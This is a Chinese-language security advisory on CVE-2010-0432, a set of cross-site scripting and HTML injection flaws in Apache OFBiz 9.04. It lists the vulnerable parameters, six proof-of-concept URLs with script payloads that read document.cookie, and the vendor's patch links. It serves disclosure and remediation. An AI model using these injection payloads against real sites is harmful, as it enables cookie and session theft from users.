Apache OFBiz多个跨站脚本和HTML注入漏洞
2010-04-16
系统编号:
WAVDB-01566
BugCVE: CVE-2010-0432
BUGTRAQ: 39489
影响版本:
Apache Group OfBiz 9.04
程序介绍:
Apache Open For Business（Apache OFBiz）是开源的ERP系统。
漏洞分析:
Apache OFBiz没有正确地过滤提交给Export Product Listing部分的productStoreId参数、提交给View Profile部分的partyId参数、提交给Show Portal Page部分的start参数、提交给ecommerce/control/ViewBlogArticle的contentId参数和提交给Web Tools部分的entityName参数，这可能导致多个跨站脚本漏洞。
漏洞利用:
https://www.example.com/ebaystore/control/exportProductListing?productStoreId=90100" style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)l
https://www.example.com/partymgr/control/viewprofile?&partyId=aa" style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)
https://www.example.com/myportal/control/showPortalPage?period=week &start=1266796800000\<script>alert(document.cookie)</script>
https://www.example.com/facility/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
http://www.example.com/ecommerce/control/ViewBlogArticle?contentId=BLG10000\<script> alert(document.cookie)</script>&blogContentId=BLOGROOTBIGAL
https://www.example.com/webtools/control/FindGeneric?entityName=AccommodationClass\<script> alert(document.cookie)</script>&find=true&VIEW_SIZE=50&VIEW_INDEX=0
解决方案:
厂商补丁：
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://svn.apache.org/viewvc?rev=920369&view=rev
http://svn.apache.org/viewvc?rev=920370&view=rev
http://svn.apache.org/viewvc?rev=920371&view=rev
http://svn.apache.org/viewvc?rev=920372&view=rev
http://svn.apache.org/viewvc?rev=920379&view=rev
http://svn.apache.org/viewvc?rev=920380&view=rev
http://svn.apache.org/viewvc?rev=920381&view=rev
http://svn.apache.org/viewvc?rev=920382&view=rev
信息来源:
<*来源：Lucas Apa
链接：http://secunia.com/advisories/39460/
http://marc.info/?l=bugtraq&m=127135631208190&w=2
*>